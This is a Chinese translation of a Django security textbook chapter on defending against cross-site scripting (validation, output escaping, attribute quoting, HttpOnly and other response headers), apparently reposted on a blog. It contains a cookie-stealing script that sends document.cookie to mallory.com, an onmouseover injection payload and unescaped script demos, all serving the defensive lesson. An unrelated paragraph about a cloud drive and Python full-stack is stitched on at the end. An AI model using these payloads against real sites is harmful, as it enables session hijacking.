    hash_value = CharField(validators=[RegexValidator(regex='[0-9a-f]{64}')])C

❶ 消息长度必须大于 1 且小于 100。

❷ Hash 值必须是 64 个十六进制字符。

特定字段的clean方法提供了另一种内置的输入验证层。对于表单上的每个字段,Django 自动查找并调用名为clean_<field_name>的表单方法。例如,列表 14.7 演示了如何使用名为clean_hash_value的表单方法验证hash_value字段,以粗体显示。与模型上的clean方法一样,特定字段的clean方法通过引发ValidationError来拒绝输入。

列表 14.7 具有特定字段 clean 方法的输入验证

...
import re
from django.core.exceptions import ValidationError
from django.utils.translation import gettext_lazy as _
...
...
class AuthenticatedMessageForm(Form):
    message = CharField(min_length=1, max_length=100)
    hash_value = CharField()

...

    def clean_hash_value(self):                                         # ❶
        hash_value = self.cleaned_data['hash_value']
        if not re.match('[0-9a-f]{64}', hash_value):
            reason = 'Must be 64 hexadecimal characters'
            raise ValidationError(_(reason), code='invalid_hash_value') # ❷
        return hash_value

❶ 被 Django 自动调用

❷ 拒绝表单提交

在本节的前面,您学习了如何通过向模型类添加clean方法来跨多个模型字段执行输入验证。类似地,向表单类添加clean方法允许您验证多个表单字段。下面的示例演示了如何从表单的clean方法中访问多个表单字段,以粗体字显示。

列表 14.8 跨多个表单字段验证输入

class AuthenticatedMessageForm(Form):
    message = CharField(min_length=1, max_length=100)
    hash_value = CharField(validators=[RegexValidator(regex='[0-9a-f]{64}')])

...

    def clean(self):                                                # ❶
        super().clean()
 message = self.cleaned_data.get('message')                  # ❷
 hash_value = self.cleaned_data.get('hash_value')            # ❷
        ...                                                         # ❷
        if condition:
            reason = 'Message not authenticated'
            raise ValidationError(_(reason), code='msg_not_auth')   # ❸

❶ 被 Django 自动调用

❷ 在多个字段上执行输入验证逻辑

❸ 拒绝表单提交

输入验证仅保护攻击面的一部分。例如,hash_value字段被锁定,但message字段仍然接受恶意输入。因此,您可能会尝试通过尝试对输入进行清理来超越输入验证。

输入消毒 是试图从不受信任的来源净化或清洗数据的尝试。通常,一名有太多空闲时间的程序员会尝试通过扫描输入来查找恶意内容。如果发现恶意内容,则通过某种方式修改输入以将其移除或中和。

输入消毒总是一个坏主意,因为它太难实现了。至少,消毒剂必须识别三种类型的解释器的所有恶意输入:JavaScript、HTML 和 CSS。您可能会将第四个解释器添加到列表中,因为很有可能输入将存储在 SQL 数据库中。

接下来会发生什么?嗯,报告和分析团队的某人想要谈一谈。看起来他们在查询数据库时遇到了问题,因为内容可能已被消毒剂修改。移动团队需要解释。所有那些经过消毒的输入在他们的 UI 中呈现得很差,而他们甚至没有使用解释器。头疼得很。

输入消毒还会阻止您实施有效的用例。例如,您是否曾经通过消息客户端或电子邮件向同事发送过代码或命令行?某些字段旨在接受用户的自由格式输入。系统通过一系列防御层抵御 XSS,因为这些字段根本无法被锁定。最重要的层将在下一节中介绍。

14.3 转义输出

在本节中,您将了解到最有效的 XSS 对策,即转义输出。为什么转义输出如此重要?想象一下您工作中使用的数据库之一。想想它有多少张表。想想每张表中的所有用户定义字段。很可能,这些字段中的大多数都以某种方式由网页呈现。每个字段都会增加您的攻击面,其中许多可以通过特殊的 HTML 字符武装起来。

安全的网站通过转义特殊的 HTML 字符来抵御 XSS。表 14.1 列出了这些字符及其转义值。

表 14.1 特殊 HTML 字符及其转义值

转义字符名称和描述HTML 实体(转义值)
<小于号,元素开始<
>大于号,元素结束>
单引号,属性值定义'
双引号,属性值定义"
&和号,实体定义&

与其他主要的 Web 框架一样,Django 的模板引擎会自动转义输出,转义特殊的 HTML 字符。例如,如果您从数据库中提取一些数据并在模板中呈现它,您就不必担心持久性 XSS 攻击:

<html>
    <div>
        {{ fetched_from_db }}     <!-- ❶ -->
    <div>
</html>

❶ 默认情况下,这是安全的。

此外,如果您的模板呈现了一个请求参数,您就不必担心引入反射型 XSS 漏洞:

<html>
    <div>
        {{ request.GET.query_parameter }}    <!-- ❶ -->
    <div>
</html>

❶ 默认情况下,也是安全的

从项目根目录中,打开一个交互式 Django shell 来亲自看看。键入以下代码以程序化地演示一些 Django 的 XSS 抵抗功能。这段代码创建一个模板,注入恶意代码,并渲染它。请注意最终结果中的每个特殊字符都被转义:

$ python manage.py shell
>>> from django.template import Template, Context
>>> 
>>> template = Template('<html>{{ var }}</html>')              # ❶
>>> poison = '<script>/* malicious */</script>'                # ❷
>>> ctx = Context({'var': poison})
>>> 
>>> template.render(ctx)                                       # ❸
'<html>&lt;script&gt;/* malicious */&lt;/script&gt;</html>'    # ❹

❶ 创建一个简单的模板

❷ 恶意输入

❸ 渲染模板

❹ 模板中和解

这个功能让你少了些担心,但并不意味着你可以完全忘记 XSS。在下一节中,你将学习何时以及如何暂停此功能。

14.3.1 内置渲染实用工具

Django 的模板引擎提供了许多内置标记、过滤器和实用函数用于渲染 HTML。这里以粗体显示的内置 autoescape 标记旨在明确暂停模板中一部分的自动特殊字符转义。当模板引擎解析此标记时,它会渲染其中的所有内容而不转义特殊字符。这意味着以下代码容易受到 XSS 攻击:

<html>
    {% autoescape off %}        <!-- ❶ -->
        <div>
            {{ request.GET.query_parameter }}
        </div>
    {% endautoescape %}         <!-- ❷ -->
</html>

❶ 开始标记,暂停保护

❷ 结束标记,恢复保护

autoescape 标记的有效用例很少且值得怀疑。例如,也许有人决定在数据库中存储 HTML,现在你被困承担渲染责任。这也适用于下一个以粗体显示的内置 safe 过滤器。该过滤器暂停模板中单个变量的自动特殊字符转义。尽管这个过滤器的名称,以下代码容易受到 XSS 攻击:

<html>
    <div>
        {{ request.GET.query_parameter|safe }}
    </div>
</html>

警告:使用 safe 过滤器的不安全方式很容易。我个人认为不安全可能是这个功能的更好名称。谨慎使用此过滤器。

safe 过滤器将大部分工作委托给一个名为 mark_safe 的内置实用函数。此函数接受一个原生 Python 字符串,并用 SafeString 包装它。当模板引擎遇到 SafeString 时,它会有意地按原样渲染数据,不转义。

对来自不受信任来源的数据应用 mark_safe 是一种被攻击的邀请。在交互式 Django shell 中键入以下代码,看看为什么。以下代码创建一个简单的模板和一个恶意脚本。如粗体显示,脚本被标记为安全并注入到模板中。尽管不是模板引擎的错,但所有特殊字符在生成的 HTML 中仍然未转义:

$ python manage.py shell
>>> from django.template import Template, Context
>>> from django.utils.safestring import mark_safe
>>> 
>>> template = Template('<html>{{ var }}</html>')        # ❶
>>> 
>>> native_string = '<script>/* malicious */</script>'   # ❷
>>> safe_string = mark_safe(native_string)
>>> type(safe_string)
<class 'django.utils.safestring.SafeString'>
>>> 
>>> ctx = Context({'var': safe_string})
>>> template.render(ctx)                                 # ❸
'<html><script>/* malicious */</script></html>'          # ❹

❶ 创建一个简单的模板

❷ 恶意输入

❸ 渲染模板

❹ XSS 漏洞

这个名副其实的内置 escape 过滤器,以粗体显示,会触发模板中单个变量的特殊字符转义。在自动 HTML 输出转义已关闭的块内,此过滤器按预期工作。以下代码是安全的:

<html>
    {% autoescape off %}                               <!-- ❶ -->
        <div>
            {{ request.GET.query_parameter|escape }}   <!-- ❷ -->
        </div>
    {% endautoescape %}                                <!-- ❸ -->
</html>

❶ 开始标记,暂停保护

❷ 无漏洞

❸ 结束标记,恢复保护

safe过滤器一样,escape过滤器是 Django 内置实用函数的包装器之一。这里以粗体显示的内置escape函数允许您以编程方式转义特殊字符。此函数将转义原生 Python 字符串和SafeStrings

>>> from django.utils.html import escape
>>> 
>>> poison = '<script>/* malicious */</script>'
>>> escape(poison)
'&lt;script&gt;/* malicious */&lt;/script&gt;'     # ❶

❶ 中和 HTML

像其他所有尊重的模板引擎一样(适用于所有编程语言),Django 的模板引擎通过转义特殊的 HTML 字符来抵抗 XSS 攻击。不幸的是,并非所有恶意内容都包含特殊字符。在下一节中,您将了解到这个框架无法保护您免受的一个特殊情况。

14.3.2 HTML 属性引用

以下是一个简单模板的示例。如粗体所示,request参数确定了class属性的值。如果request参数等于普通的 CSS 类名,则此页面将按预期行为。另一方面,如果参数包含特殊的 HTML 字符,Django 将像往常一样对其进行转义:

<html>
    <div class={{ request.GET.query_parameter }}>
        XSS without special characters
    </div>
</html>

您是否注意到class属性值未加引号?不幸的是,这意味着攻击者可以在不使用任何特殊 HTML 字符的情况下滥用此页面。例如,假设此页面属于 SpaceX 的一个重要系统。Mallory 以反射型 XSS 攻击的方式针对 Falcon 9 团队的技术人员 Charlie。现在想象一下当参数以className onmouseover=javascript:launchRocket()形式到达时会发生什么。

良好的 HTML 卫生习惯,而不是框架,是抵抗这种形式的 XSS 攻击的唯一方法。简单地引用 class 属性值可以确保div标签安全地呈现,无论模板变量值如何。请养成一个习惯,始终引用每个标签的每个属性。HTML 规范不要求单引号或双引号,但有时像这样的简单约定可以避免灾难。

在前面的两节中,您学会了如何通过响应主体来抵抗 XSS 攻击。在下一节中,您将学习如何通过响应头来实现这一点。

14.4 HTTP 响应头

响应 代表对抗 XSS 攻击非常重要的一层防御。这一层可以防止一些攻击,同时限制其他攻击的破坏程度。在本节中,您将从三个角度了解这个主题:

  • 禁用 JavaScript 访问 cookie

  • 禁用 MIME 嗅探

  • 使用X-XSS-Protection

这里每个项目的主要思想是通过限制浏览器对响应的操作来保护用户。换句话说,这是服务器如何将 PLP 应用于浏览器的方式。

14.4.1 禁用 JavaScript 访问 cookie

获取受害者的 cookie 是 XSS 攻击的一个常见目标。攻击者特别针对受害者的会话 ID cookie。下面的两行 JavaScript 演示了这是多么容易。

代码的第一行构造了一个 URL。URL 的域指向攻击者控制的服务器;URL 的参数是受害者的本地 Cookie 状态的副本。代码的第二行将此 URL 插入文档中,作为图像标签的源属性。这会触发对 mallory.com 的请求,将受害者的 Cookie 状态传递给攻击者。

<script>
    const url = 'https:/./mallory.com/?loot=' + document.cookie;   # ❶
    document.write('<img src="' + url + '">');                    # ❷
</script>

❶ 读取受害者的 Cookie

❷ 将受害者的 Cookie 发送给攻击者

假设 Mallory 使用这个脚本来针对 Bob 进行反射型 XSS 攻击。一旦他的会话 ID 被泄露,Mallory 可以简单地使用它来假扮成 Bob 并在 bank.alice.com 上获取访问权限。她不必编写 JavaScript 来从他的银行账户转账;她可以直接通过 UI 来完成。图 14.3 描述了这种攻击,称为会话劫持

服务器通过设置带有HttpOnly指令的 Cookie 来抵御这种形式的攻击,这是Set-Cookie响应头的一个属性。(你在第七章学到了这个响应头。)尽管它的名字是HttpOnly,但它与浏览器在传输 Cookie 时必须使用的协议无关。相反,这个指令将 Cookie 隐藏起来,不让客户端的 JavaScript 看到。这可以减轻 XSS 攻击,但不能阻止它们。下面显示了一个带有HttpOnly指令的示例响应头:

Set-Cookie: sessionid=<session-id-value>; HttpOnly

会话 ID Cookie 应该始终使用HttpOnly。Django 默认情况下就是这样做的。这个行为由SESSION_COOKIE_HTTPONLY设置配置,幸运的是,默认值为True。如果您在代码存储库或拉取请求中看到这个设置被赋值为False,那么作者可能误解了它的含义。鉴于这个指令的不幸命名,这是可以理解的。毕竟,术语HttpOnly很容易被没有上下文的人误解为不安全

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14.3 Mallory 用反射型 XSS 攻击劫持了 Bob 的会话。

注意 在撰写本文时,安全配置错误位列 OWASP 十大安全风险的第 6 位(owasp.org/www-project-top-ten/)。

当然,HttpOnly不仅适用于您的会话 ID Cookie。一般来说,除非您有非常强烈的需要以 JavaScript 编程方式访问它,否则应该为每个 Cookie 设置HttpOnly。没有访问您的 Cookie 的攻击者的能力会减弱。

列表 14.9 演示了如何使用HttpOnly指令设置自定义 Cookie。CookieSettingView通过调用响应对象上的一个便利方法来添加一个Set-Cookie头。这个方法接受一个名为httponly的关键字参数。与SESSION_COOKIE_HTTPONLY设置不同,这个关键字参数的默认值是False

列表 14.9 使用 HttpOnly 指令设置 Cookie

class CookieSettingView(View):

    def get(self, request):
        ...

        response = HttpResponse()
        response.set_cookie(         # ❶
            'cookie-name',
            'cookie-value',
                ...
            httponly=True)           # ❷

        return response

❶ 将 Set-Cookie 头添加到响应中

❷ 将 HttpOnly 指令附加到头部

在下一节中,我将介绍一种用于抵抗 XSS 的响应头部。像HttpOnly指令一样,这个头部限制了浏览器以保护用户的安全。

14.4.2 禁用 MIME 类型嗅探

在我们深入研究这个主题之前,我将解释浏览器如何确定 HTTP 响应的内容类型。当你将浏览器指向一个典型的网页时,它不会一次性下载整个内容。它请求一个 HTML 资源,解析它,并为嵌入的内容(如图片、样式表和 JavaScript)发送单独的请求。为了渲染页面,你的浏览器需要用适当的内容处理程序处理每个响应。

浏览器如何将每个响应匹配到正确的处理程序?浏览器不关心 URL 是否以.gif 或.css 结尾。浏览器也不关心 URL 是来自<img>标签还是<style>标签。相反,浏览器通过Content-Type响应头部从服务器接收内容类型。

Content-Type头部的值称为MIME 类型或媒体类型。例如,如果你的浏览器接收到text/javascript的 MIME 类型,它会将响应交给 JavaScript 解释器。如果 MIME 类型是image/gif,则响应会交给图形引擎。

一些浏览器允许响应内容本身覆盖Content-Type头部。这被称为MIME 类型嗅探。如果浏览器需要弥补不正确或缺失的Content-Type头部,这很有用。不幸的是,MIME 类型嗅探也是一种跨站脚本攻击向量。

假设 Bob 为他的社交网络站点 social.bob.com 添加了新功能。这个新功能旨在让用户共享照片。Mallory 注意到 social.bob.com 不验证上传的文件。它还将每个资源都以image/jpeg的 MIME 类型发送。然后,她滥用了这个功能,上传了一个恶意的 JavaScript 文件,而不是照片。最后,Alice 在查看 Mallory 的相册时无意中下载了这个脚本。Alice 的浏览器嗅探内容,覆盖了 Bob 不正确的Content-Type头部,并执行了 Mallory 的代码。图 14.4 描绘了 Mallory 的攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14.4 Alice 的浏览器嗅探 Mallory 脚本的内容,覆盖 MIME 类型,并执行它。

安全站点通过发送带有X-Content-Type-Options头部的每个响应来抵抗这种形式的 XSS。此头部如下所示,禁止浏览器执行 MIME 类型嗅探:

X-Content-Type-Options: nosniff

在 Django 中,这个行为由SECURE_CONTENT_TYPE_NOSNIFF设置配置。这个设置的默认值在 3.0 版本中改为True。如果你运行的是旧版本的 Django,你应该明确地将这个设置分配为True

14.4.3 X-XSS-Protection头部

X-XSS-Protection 响应头旨在启用客户端 XSS 抵抗。支持此功能的浏览器尝试通过检查请求和响应中的恶意内容来自动检测反射性 XSS 攻击。当检测到攻击时,浏览器将对页面进行清理或拒绝渲染。

X-XSS-Protection 头部在许多方面都没有获得足够的关注。该功能的每个实现都是特定于浏览器的。Google Chrome 和 Microsoft Edge 都已经实现并弃用了它。Mozilla Firefox 没有实现此功能,并且目前也没有计划这样做。

SECURE_BROWSER_XSS_FILTER 设置确保每个响应都有一个 X-XSS-Protection 头部。Django 使用块模式指令添加此头部,如下所示。块模式指示浏览器阻止页面渲染而不是尝试删除可疑内容:

X-XSS-Protection: 1; mode=block

默认情况下,Django 禁用了此功能。您可以通过将此设置分配为True来启用它。启用X-XSS-Protection可能值得写一行代码,但不要让它成为虚假的安全感。这个头部不能被认为是一个有效的防御层。

本节介绍了Set-CookieX-Content-Type-OptionsX-XSS-Protection 响应头部。它也作为下一章的热身,下一章将完全专注于一种响应头部,旨在减轻 XSS 等攻击。这个头部易于使用,非常强大。

摘要

  • XSS 有三种形式:持久性、反射性和基于 DOM。

  • XSS 不仅限于 JavaScript;HTML 和 CSS 也经常被武器化。

  • 一层防御最终会使您受到威胁。

  • 验证用户输入;不要对其进行消毒。

  • 转义输出是最重要的防御层。

  • 服务器使用响应头来通过限制浏览器功能来保护用户。

  • 28
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
阿里云盘是阿里巴巴集团旗下的云存储服务,提供了稳定可靠的数据存储和备份解决方案。Python全栈是一个广义的概念,指的是在Python语言技术栈上独立负责项目的开发、设计、交互、后端等多个方面的开发人员。 阿里云盘作为一种云存储服务,可以用于存储、备份和共享各类数据文件,包括文档、图片、音频、视频等。它具有高可靠性和弹性扩展能力,可以将数据存储在云端,保证数据的安全性和可访问性。阿里云盘提供了丰富的API和SDK,方便开发者使用Python等编程语言进行集成和使用。 Python全栈开发指的是一个开发人员具备从前端到后端的全部技能,能够独立完成一个完整的项目开发。在Python全栈开发中,开发人员需要熟悉前端开发技术(如HTML、CSS、JavaScript等),能够创建用户友好的界面和交互;同时也需要掌握后端开发技术(如Django、Flask等Python框架),能够构建稳定高效的后端服务。此外,还需要了解数据库设计与管理、网络通信、安全性等方面的知识。 将阿里云盘与Python全栈结合,可以实现更加丰富的功能和扩展性。开发人员可以利用Python全栈技术,基于阿里云盘的API和SDK,开发出更加强大的数据存储、备份和共享应用。例如,可以开发一个基于Web的文件管理系统,用户可以通过界面上传、下载、删除、修改文件;还可以开发一个基于云盘的自动备份工具,将用户指定的文件定期备份到阿里云盘等。 总之,阿里云盘和Python全栈都是现代技术领域的重要组成部分,它们的结合将带来更好的数据存储与应用开发体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值